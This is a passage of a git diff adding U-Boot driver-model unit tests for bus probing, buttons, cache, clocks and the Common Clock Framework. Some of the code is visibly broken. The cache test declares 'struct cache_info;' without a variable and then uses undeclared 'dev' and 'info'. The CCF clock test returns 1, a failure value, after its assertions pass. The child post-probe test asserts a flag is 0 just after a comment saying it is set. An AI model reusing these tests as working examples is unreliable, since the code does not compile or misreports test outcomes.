+DM_TEST(dm_test_bus_child_pre_probe_uclass,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/*
+ * Test that the bus' uclass' child_post_probe() is called after the
+ * device's probe() method
+ */
+static int dm_test_bus_child_post_probe_uclass(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+
+ /*
+ * See testfdt_drv_probe() which effectively initializes that
+ * the uclass postp flag is set to a value
+ */
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ for (device_find_first_child(bus, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ struct dm_test_priv *priv = dev_get_priv(dev);
+
+ /* Check that things happened in the right order */
+ ut_asserteq_ptr(NULL, priv);
+ ut_assertok(device_probe(dev));
+
+ priv = dev_get_priv(dev);
+ ut_assert(priv != NULL);
+ ut_asserteq(0, priv->uclass_postp);
+ }
+ ut_asserteq(3, device_get_child_count(bus));
+
+ return 0;
+}
+DM_TEST(dm_test_bus_child_post_probe_uclass,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/button.c b/test/dm/button.c
new file mode 100644
index 00000000000..9157ec92878
--- /dev/null
+++ b/test/dm/button.c
@@ -0,0 +1,228 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2020 Philippe Reynes <philippe.reynes@softathome.com>
+ *
+ * Based on led.c
+ */
+
+#include <dm.h>
+#include <adc.h>
+#include <button.h>
+#include <power/regulator.h>
+#include <power/sandbox_pmic.h>
+#include <asm/gpio.h>
+#include <dm/test.h>
+#include <dt-bindings/input/input.h>
+#include <test/ut.h>
+
+/* Base test of the button uclass */
+static int dm_test_button_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* Get the top-level gpio buttons device */
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 0, &dev));
+ /* Get the 2 gpio buttons */
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 1, &dev));
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 2, &dev));
+
+ /* Get the top-level adc buttons device */
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 3, &dev));
+ /* Get the 3 adc buttons */
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 4, &dev));
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 5, &dev));
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 6, &dev));
+
+ ut_asserteq(-ENODEV, uclass_get_device(UCLASS_BUTTON, 7, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_button_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of the button uclass using the button_gpio driver */
+static int dm_test_button_gpio(struct unit_test_state *uts)
+{
+ const int offset = 3;
+ struct udevice *dev, *gpio;
+
+ /*
+ * Check that we can manipulate a BUTTON. BUTTON 1 is connected to GPIO
+ * bank gpio_a, offset 3.
+ */
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 1, &dev));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 1, &gpio));
+
+ ut_asserteq(0, sandbox_gpio_set_value(gpio, offset, 0));
+ ut_asserteq(0, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(BUTTON_OFF, button_get_state(dev));
+
+ ut_asserteq(0, sandbox_gpio_set_value(gpio, offset, 1));
+ ut_asserteq(1, sandbox_gpio_get_value(gpio, offset));
+ ut_asserteq(BUTTON_ON, button_get_state(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_button_gpio, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test obtaining a BUTTON by label */
+static int dm_test_button_label(struct unit_test_state *uts)
+{
+ struct udevice *dev, *cmp;
+
+ ut_assertok(button_get_by_label("button1", &dev));
+ ut_asserteq(1, device_active(dev));
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 1, &cmp));
+ ut_asserteq_ptr(dev, cmp);
+
+ ut_assertok(button_get_by_label("button2", &dev));
+ ut_asserteq(1, device_active(dev));
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 2, &cmp));
+ ut_asserteq_ptr(dev, cmp);
+
+ ut_asserteq(-ENODEV, button_get_by_label("nobutton", &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_button_label, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test button has linux,code */
+static int dm_test_button_linux_code(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 1, &dev));
+ ut_asserteq(BTN_1, button_get_code(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_button_linux_code, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test adc-keys driver */
+static int dm_test_button_keys_adc(struct unit_test_state *uts)
+{
+ struct udevice *supply;
+ struct udevice *dev;
+ int uV;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_ADC, "adc@0", &dev));
+
+ ut_assertok(regulator_get_by_devname(SANDBOX_BUCK2_DEVNAME, &supply));
+ ut_assertok(regulator_set_value(supply, SANDBOX_BUCK2_SET_UV));
+ ut_asserteq(SANDBOX_BUCK2_SET_UV, regulator_get_value(supply));
+ /* Update ADC plat and get new Vdd value */
+ ut_assertok(adc_vdd_value(dev, &uV));
+ ut_asserteq(SANDBOX_BUCK2_SET_UV, uV);
+
+ /*
+ * sandbox-adc returns constant value on channel 3, is used by adc-keys:
+ * SANDBOX_ADC_CHANNEL3_DATA * SANDBOX_BUCK2_SET_UV / SANDBOX_ADC_DATA_MASK =
+ * 0x3000 * 3300000 / 0xffff = 618759uV
+ * This means that button3 and button4 are released and button5
+ * is pressed.
+ */
+ ut_assertok(button_get_by_label("button3", &dev));
+ ut_asserteq(BUTTON_OFF, button_get_state(dev));
+ ut_assertok(button_get_by_label("button4", &dev));
+ ut_asserteq(BUTTON_OFF, button_get_state(dev));
+ ut_assertok(button_get_by_label("button5", &dev));
+ ut_asserteq(BUTTON_ON, button_get_state(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_button_keys_adc, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of the button uclass using the button_gpio driver */
+static int dm_test_button_cmd(struct unit_test_state *uts)
+{
+ struct udevice *btn1_dev, *btn2_dev, *gpio;
+ const char *envstr;
+
+#define BTN1_GPIO 3
+#define BTN2_GPIO 4
+#define BTN1_PASS_VAR "test_button_cmds_0"
+#define BTN2_PASS_VAR "test_button_cmds_1"
+
+ /*
+ * Buttons 1 and 2 are connected to gpio_a gpios 3 and 4 respectively.
+ * set the GPIOs to known values and then check that the appropriate
+ * commands are run when invoking process_button_cmds().
+ */
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 1, &btn1_dev));
+ ut_assertok(uclass_get_device(UCLASS_BUTTON, 2, &btn2_dev));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 1, &gpio));
+
+ /*
+ * Map a command to button 1 and check that it process_button_cmds()
+ * runs it if called with button 1 pressed.
+ */
+ ut_assertok(env_set("button_cmd_0_name", "button1"));
+ ut_assertok(env_set("button_cmd_0", "env set " BTN1_PASS_VAR " PASS"));
+ ut_assertok(sandbox_gpio_set_value(gpio, BTN1_GPIO, 1));
+ /* Sanity check that the button is actually pressed */
+ ut_asserteq(BUTTON_ON, button_get_state(btn1_dev));
+ process_button_cmds();
+ ut_assertnonnull((envstr = env_get(BTN1_PASS_VAR)));
+ ut_asserteq_str(envstr, "PASS");
+
+ /* Clear result */
+ ut_assertok(env_set(BTN1_PASS_VAR, NULL));
+
+ /*
+ * Map a command for button 2, press it, check that only the command
+ * for button 1 runs because it comes first and is also pressed.
+ */
+ ut_assertok(env_set("button_cmd_1_name", "button2"));
+ ut_assertok(env_set("button_cmd_1", "env set " BTN2_PASS_VAR " PASS"));
+ ut_assertok(sandbox_gpio_set_value(gpio, BTN2_GPIO, 1));
+ ut_asserteq(BUTTON_ON, button_get_state(btn2_dev));
+ process_button_cmds();
+ /* Check that button 1 triggered again */
+ ut_assertnonnull((envstr = env_get(BTN1_PASS_VAR)));
+ ut_asserteq_str(envstr, "PASS");
+ /* And button 2 didn't */
+ ut_assertnull(env_get(BTN2_PASS_VAR));
+
+ /* Clear result */
+ ut_assertok(env_set(BTN1_PASS_VAR, NULL));
+
+ /*
+ * Release button 1 and check that the command for button 2 is run
+ */
+ ut_assertok(sandbox_gpio_set_value(gpio, BTN1_GPIO, 0));
+ process_button_cmds();
+ ut_assertnull(env_get(BTN1_PASS_VAR));
+ /* Check that the command for button 2 ran */
+ ut_assertnonnull((envstr = env_get(BTN2_PASS_VAR)));
+ ut_asserteq_str(envstr, "PASS");
+
+ /* Clear result */
+ ut_assertok(env_set(BTN2_PASS_VAR, NULL));
+
+ /*
+ * Unset "button_cmd_0_name" and check that no commands run even
+ * with both buttons pressed.
+ */
+ ut_assertok(env_set("button_cmd_0_name", NULL));
+ /* Press button 1 (button 2 is already pressed )*/
+ ut_assertok(sandbox_gpio_set_value(gpio, BTN1_GPIO, 1));
+ ut_asserteq(BUTTON_ON, button_get_state(btn1_dev));
+ process_button_cmds();
+ ut_assertnull(env_get(BTN1_PASS_VAR));
+ ut_assertnull(env_get(BTN2_PASS_VAR));
+
+ /*
+ * Check that no command is run if the button name is wrong.
+ */
+ ut_assertok(env_set("button_cmd_0_name", "invalid_button"));
+ process_button_cmds();
+ ut_assertnull(env_get(BTN1_PASS_VAR));
+ ut_assertnull(env_get(BTN2_PASS_VAR));
+
+#undef BTN1_PASS_VAR
+#undef BTN2_PASS_VAR
+#undef BTN1_GPIO
+#undef BTN2_GPIO
+
+ return 0;
+}
+DM_TEST(dm_test_button_cmd, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/cache.c b/test/dm/cache.c
new file mode 100644
index 00000000000..d2f3bfe2caf
--- /dev/null
+++ b/test/dm/cache.c
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (C) 2019 Intel Corporation <www.intel.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+
+static int dm_test_reset(struct unit_test_state *uts)
+{
+ struct udevice *dev_cache;
+ struct cache_info;
+
+ ut_assertok(uclass_get_device(UCLASS_CACHE, 0, &dev_cache));
+ ut_assertok(cache_get_info(dev, &info));
+ ut_assertok(cache_enable(dev));
+ ut_assertok(cache_disable(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_reset, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/clk.c b/test/dm/clk.c
new file mode 100644
index 00000000000..a966471dbd9
--- /dev/null
+++ b/test/dm/clk.c
@@ -0,0 +1,228 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <clk.h>
+#include <dm.h>
+#include <log.h>
+#include <malloc.h>
+#include <asm/clk.h>
+#include <dm/test.h>
+#include <dm/device-internal.h>
+#include <linux/err.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Base test of the clk uclass */
+static int dm_test_clk_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct clk clk_method1;
+ struct clk clk_method2;
+
+ /* Get the device using the clk device */
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "clk-test", &dev));
+
+ /* Get the same clk port in 2 different ways and compare */
+ ut_assertok(clk_get_by_index(dev, 0, &clk_method1));
+ ut_assertok(clk_get_by_name(dev, NULL, &clk_method2));
+ ut_asserteq(clk_is_match(&clk_method1, &clk_method2), true);
+ ut_asserteq(clk_method1.id, clk_method2.id);
+
+ ut_assertok(clk_get_by_index(dev, 1, &clk_method1));
+ ut_assertok(clk_get_by_index_nodev(dev_ofnode(dev), 1, &clk_method2));
+ ut_asserteq(clk_is_match(&clk_method1, &clk_method2), true);
+ ut_asserteq(clk_method1.id, clk_method2.id);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "clk-test2", &dev));
+ ut_assertok(clk_set_defaults(dev, CLK_DEFAULTS_PRE));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "clk-test3", &dev));
+ ut_assertok(clk_set_defaults(dev, CLK_DEFAULTS_PRE));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "clk-test4", &dev));
+ ut_assertok(clk_set_defaults(dev, CLK_DEFAULTS_PRE));
+
+ return 0;
+}
+
+DM_TEST(dm_test_clk_base, UT_TESTF_SCAN_FDT);
+
+static int dm_test_clk(struct unit_test_state *uts)
+{
+ struct udevice *dev_fixed, *dev_fixed_factor, *dev_clk, *dev_test;
+ ulong rate;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_CLK, "clk-fixed",
+ &dev_fixed));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_CLK, "clk-fixed-factor",
+ &dev_fixed_factor));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_CLK, "clk-sbox",
+ &dev_clk));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+ ut_asserteq(0, sandbox_clk_query_rate(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_rate(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "clk-test",
+ &dev_test));
+ ut_assertok(sandbox_clk_test_get(dev_test));
+ ut_assertok(sandbox_clk_test_devm_get(dev_test));
+ ut_assertok(sandbox_clk_test_valid(dev_test));
+
+ ut_asserteq(0, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_DEVM_NULL));
+ ut_asserteq(0, sandbox_clk_test_set_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_DEVM_NULL,
+ 0));
+ ut_asserteq(0, sandbox_clk_test_enable(dev_test,
+ SANDBOX_CLK_TEST_ID_DEVM_NULL));
+ ut_asserteq(0, sandbox_clk_test_disable(dev_test,
+ SANDBOX_CLK_TEST_ID_DEVM_NULL));
+
+ ut_asserteq(1234,
+ sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_FIXED));
+ ut_asserteq(0, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI));
+ ut_asserteq(0, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C));
+ ut_asserteq(321, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_DEVM1));
+ ut_asserteq(0, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_DEVM2));
+
+ rate = sandbox_clk_test_set_rate(dev_test, SANDBOX_CLK_TEST_ID_FIXED,
+ 12345);
+ ut_assert(IS_ERR_VALUE(rate));
+ rate = sandbox_clk_test_get_rate(dev_test, SANDBOX_CLK_TEST_ID_FIXED);
+ ut_asserteq(1234, rate);
+
+ ut_asserteq(0, sandbox_clk_test_set_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI,
+ 1000));
+ ut_asserteq(0, sandbox_clk_test_set_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C,
+ 2000));
+
+ ut_asserteq(1000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI));
+ ut_asserteq(2000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C));
+
+ ut_asserteq(1000, sandbox_clk_test_set_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI,
+ 10000));
+ ut_asserteq(2000, sandbox_clk_test_set_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C,
+ 20000));
+
+ rate = sandbox_clk_test_set_rate(dev_test, SANDBOX_CLK_TEST_ID_SPI, 0);
+ ut_assert(IS_ERR_VALUE(rate));
+ rate = sandbox_clk_test_set_rate(dev_test, SANDBOX_CLK_TEST_ID_I2C, 0);
+ ut_assert(IS_ERR_VALUE(rate));
+
+ ut_asserteq(10000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI));
+ ut_asserteq(20000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C));
+
+ ut_asserteq(5000, sandbox_clk_test_round_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI,
+ 5000));
+ ut_asserteq(7000, sandbox_clk_test_round_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C,
+ 7000));
+
+ ut_asserteq(10000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI));
+ ut_asserteq(20000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C));
+
+ rate = sandbox_clk_test_round_rate(dev_test, SANDBOX_CLK_TEST_ID_SPI, 0);
+ ut_assert(IS_ERR_VALUE(rate));
+ rate = sandbox_clk_test_round_rate(dev_test, SANDBOX_CLK_TEST_ID_I2C, 0);
+ ut_assert(IS_ERR_VALUE(rate));
+
+ ut_asserteq(10000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI));
+ ut_asserteq(20000, sandbox_clk_test_get_rate(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C));
+
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+ ut_asserteq(10000, sandbox_clk_query_rate(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(20000, sandbox_clk_query_rate(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ ut_assertok(sandbox_clk_test_enable(dev_test, SANDBOX_CLK_TEST_ID_SPI));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ ut_assertok(sandbox_clk_test_enable(dev_test, SANDBOX_CLK_TEST_ID_I2C));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ ut_assertok(sandbox_clk_test_disable(dev_test,
+ SANDBOX_CLK_TEST_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ ut_assertok(sandbox_clk_test_disable(dev_test,
+ SANDBOX_CLK_TEST_ID_I2C));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ ut_asserteq(1, sandbox_clk_query_requested(dev_clk,
+ SANDBOX_CLK_ID_SPI));
+ ut_asserteq(1, sandbox_clk_query_requested(dev_clk,
+ SANDBOX_CLK_ID_I2C));
+ ut_asserteq(1, sandbox_clk_query_requested(dev_clk,
+ SANDBOX_CLK_ID_UART2));
+
+ ut_asserteq(1, sandbox_clk_query_requested(dev_clk,
+ SANDBOX_CLK_ID_UART1));
+ ut_assertok(device_remove(dev_test, DM_REMOVE_NORMAL));
+ return 0;
+}
+DM_TEST(dm_test_clk, UT_TESTF_SCAN_FDT);
+
+static int dm_test_clk_bulk(struct unit_test_state *uts)
+{
+ struct udevice *dev_clk, *dev_test;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_CLK, "clk-sbox",
+ &dev_clk));
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "clk-test",
+ &dev_test));
+ ut_assertok(sandbox_clk_test_get_bulk(dev_test));
+
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ /* Fixed clock does not support enable, thus should not fail */
+ ut_assertok(sandbox_clk_test_enable_bulk(dev_test));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ /* Fixed clock does not support disable, thus should not fail */
+ ut_assertok(sandbox_clk_test_disable_bulk(dev_test));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ /* Fixed clock does not support enable, thus should not fail */
+ ut_assertok(sandbox_clk_test_enable_bulk(dev_test));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(1, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+
+ /* Fixed clock does not support disable, thus should not fail */
+ ut_assertok(sandbox_clk_test_release_bulk(dev_test));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_SPI));
+ ut_asserteq(0, sandbox_clk_query_enable(dev_clk, SANDBOX_CLK_ID_I2C));
+ ut_assertok(device_remove(dev_test, DM_REMOVE_NORMAL));
+
+ return 0;
+}
+DM_TEST(dm_test_clk_bulk, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/clk_ccf.c b/test/dm/clk_ccf.c
new file mode 100644
index 00000000000..15fba31b962
--- /dev/null
+++ b/test/dm/clk_ccf.c
@@ -0,0 +1,212 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2019
+ * Lukasz Majewski, DENX Software Engineering, lukma@denx.de
+ */
+
+#include <clk.h>
+#include <dm.h>
+#include <asm/clk.h>
+#include <dm/test.h>
+#include <dm/uclass.h>
+#include <linux/err.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <sandbox-clk.h>
+
+/* Tests for Common Clock Framework driver */
+static int dm_test_clk_ccf(struct unit_test_state *uts)
+{
+ struct clk *clk, *pclk;
+ struct udevice *dev, *test_dev;
+ long long rate;
+ int ret;
+#if CONFIG_IS_ENABLED(CLK_CCF)
+ struct clk clk_ccf;
+ const char *clkname;
+ int clkid, i;
+#endif
+
+ /* Get the device using the clk device */
+ ut_assertok(uclass_get_device_by_name(UCLASS_CLK, "clk-ccf", &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "clk-test", &test_dev));
+
+ /* Test for clk_get_by_id() */
+ ret = clk_get_by_id(SANDBOX_CLK_ECSPI_ROOT, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("ecspi_root", clk->dev->name);
+ ut_asserteq(CLK_SET_RATE_PARENT, clk->flags);
+
+ /* Test for clk_get_parent_rate() */
+ ret = clk_get_by_id(SANDBOX_CLK_ECSPI1, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("ecspi1", clk->dev->name);
+ ut_asserteq(CLK_SET_RATE_PARENT, clk->flags);
+
+ rate = clk_get_parent_rate(clk);
+ ut_asserteq(rate, 20000000);
+
+ /* test the gate of CCF */
+ ret = clk_get_by_id(SANDBOX_CLK_ECSPI0, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("ecspi0", clk->dev->name);
+ ut_asserteq(CLK_SET_RATE_PARENT, clk->flags);
+
+ rate = clk_get_parent_rate(clk);
+ ut_asserteq(rate, 20000000);
+
+ /* Test the mux of CCF */
+ ret = clk_get_by_id(SANDBOX_CLK_USDHC1_SEL, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("usdhc1_sel", clk->dev->name);
+ ut_asserteq(CLK_SET_RATE_NO_REPARENT, clk->flags);
+
+ rate = clk_get_parent_rate(clk);
+ ut_asserteq(rate, 60000000);
+
+ rate = clk_set_rate(clk, 60000000);
+ ut_asserteq(rate, -ENOSYS);
+
+ rate = clk_get_rate(clk);
+ ut_asserteq(rate, 60000000);
+
+ ret = clk_get_by_id(SANDBOX_CLK_PLL3_80M, &pclk);
+ ut_assertok(ret);
+
+ ret = clk_set_parent(clk, pclk);
+ ut_assertok(ret);
+
+ rate = clk_get_rate(clk);
+ ut_asserteq(rate, 80000000);
+
+ ret = clk_get_by_id(SANDBOX_CLK_USDHC2_SEL, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("usdhc2_sel", clk->dev->name);
+ ut_asserteq(CLK_SET_RATE_NO_REPARENT, clk->flags);
+
+ rate = clk_get_parent_rate(clk);
+ ut_asserteq(rate, 80000000);
+
+ pclk = clk_get_parent(clk);
+ ut_asserteq_str("pll3_80m", pclk->dev->name);
+ ut_asserteq(CLK_SET_RATE_PARENT, pclk->flags);
+
+ rate = clk_set_rate(clk, 80000000);
+ ut_asserteq(rate, -ENOSYS);
+
+ rate = clk_get_rate(clk);
+ ut_asserteq(rate, 80000000);
+
+ ret = clk_get_by_id(SANDBOX_CLK_PLL3_60M, &pclk);
+ ut_assertok(ret);
+
+ ret = clk_set_parent(clk, pclk);
+ ut_assertok(ret);
+
+ rate = clk_get_rate(clk);
+ ut_asserteq(rate, 60000000);
+
+ /* Test the composite of CCF */
+ ret = clk_get_by_id(SANDBOX_CLK_I2C, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("i2c", clk->dev->name);
+ ut_asserteq(CLK_SET_RATE_UNGATE, clk->flags);
+
+ rate = clk_get_rate(clk);
+ ut_asserteq(rate, 60000000);
+
+ rate = clk_set_rate(clk, 60000000);
+ ut_asserteq(rate, 60000000);
+
+#if CONFIG_IS_ENABLED(CLK_CCF)
+ /* Test clk tree enable/disable */
+
+ ret = clk_get_by_index(test_dev, SANDBOX_CLK_TEST_ID_I2C_ROOT, &clk_ccf);
+ ut_assertok(ret);
+ ut_asserteq_str("clk-ccf", clk_ccf.dev->name);
+ ut_asserteq(clk_ccf.id, SANDBOX_CLK_I2C_ROOT);
+
+ ret = clk_get_by_id(SANDBOX_CLK_I2C_ROOT, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("i2c_root", clk->dev->name);
+ ut_asserteq(clk->id, SANDBOX_CLK_I2C_ROOT);
+
+ ret = clk_enable(&clk_ccf);
+ ut_assertok(ret);
+
+ ret = sandbox_clk_enable_count(clk);
+ ut_asserteq(ret, 1);
+
+ ret = clk_get_by_id(SANDBOX_CLK_I2C, &pclk);
+ ut_assertok(ret);
+
+ ret = sandbox_clk_enable_count(pclk);
+ ut_asserteq(ret, 1);
+
+ ret = clk_disable(clk);
+ ut_assertok(ret);
+
+ ret = sandbox_clk_enable_count(clk);
+ ut_asserteq(ret, 0);
+
+ ret = sandbox_clk_enable_count(pclk);
+ ut_asserteq(ret, 0);
+
+ /* Test clock re-parenting. */
+ ret = clk_get_by_id(SANDBOX_CLK_USDHC1_SEL, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("usdhc1_sel", clk->dev->name);
+
+ pclk = clk_get_parent(clk);
+ ut_assertok_ptr(pclk);
+ if (!strcmp(pclk->dev->name, "pll3_60m")) {
+ clkname = "pll3_80m";
+ clkid = SANDBOX_CLK_PLL3_80M;
+ } else {
+ clkname = "pll3_60m";
+ clkid = SANDBOX_CLK_PLL3_60M;
+ }
+
+ ret = clk_get_by_id(clkid, &pclk);
+ ut_assertok(ret);
+ ret = clk_set_parent(clk, pclk);
+ ut_assertok(ret);
+ pclk = clk_get_parent(clk);
+ ut_assertok_ptr(pclk);
+ ut_asserteq_str(clkname, pclk->dev->name);
+
+ /* Test disabling critical clock. */
+ ret = clk_get_by_id(SANDBOX_CLK_I2C_ROOT, &clk);
+ ut_assertok(ret);
+ ut_asserteq_str("i2c_root", clk->dev->name);
+
+ /* Disable it, if any. */
+ ret = sandbox_clk_enable_count(clk);
+ for (i = 0; i < ret; i++) {
+ ret = clk_disable(clk);
+ ut_assertok(ret);
+ }
+
+ ret = sandbox_clk_enable_count(clk);
+ ut_asserteq(ret, 0);
+
+ clk->flags = CLK_IS_CRITICAL;
+ ret = clk_enable(clk);
+ ut_assertok(ret);
+
+ ret = clk_disable(clk);
+ ut_assertok(ret);
+ ret = sandbox_clk_enable_count(clk);
+ ut_asserteq(ret, 1);
+ clk->flags &= ~CLK_IS_CRITICAL;
+
+ ret = clk_disable(clk);
+ ut_assertok(ret);
+ ret = sandbox_clk_enable_count(clk);
+ ut_asserteq(ret, 0);
+#endif
+
+ return 1;
+}
+
+DM_TEST(dm_test_clk_ccf, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/core.c b/test/dm/core.c
new file mode 100644
index 00000000000..4741c81bcc1
--- /dev/null
+++ b/test/dm/core.c
@@ -0,0 +1,1354 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for the core driver model code
+ *
+ * Copyright (c) 2013 Google, Inc
+ */
+
+#include <errno.h>
+#include <dm.h>
+#include <fdtdec.h>
+#include <log.h>
+#include <malloc.h>
+#include <asm/global_data.h>
+#include <dm/device-internal.h>
+#include <dm/root.h>
+#include <dm/util.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+enum {
+ TEST_INTVAL1 = 0,
+ TEST_INTVAL2 = 3,
+ TEST_INTVAL3 = 6,
+ TEST_INTVAL_MANUAL = 101112,
+ TEST_INTVAL_PRE_RELOC = 7,
+};
+
+static const struct dm_test_pdata test_pdata[] = {
+ { .ping_add = TEST_INTVAL1, },
+ { .ping_add = TEST_INTVAL2, },
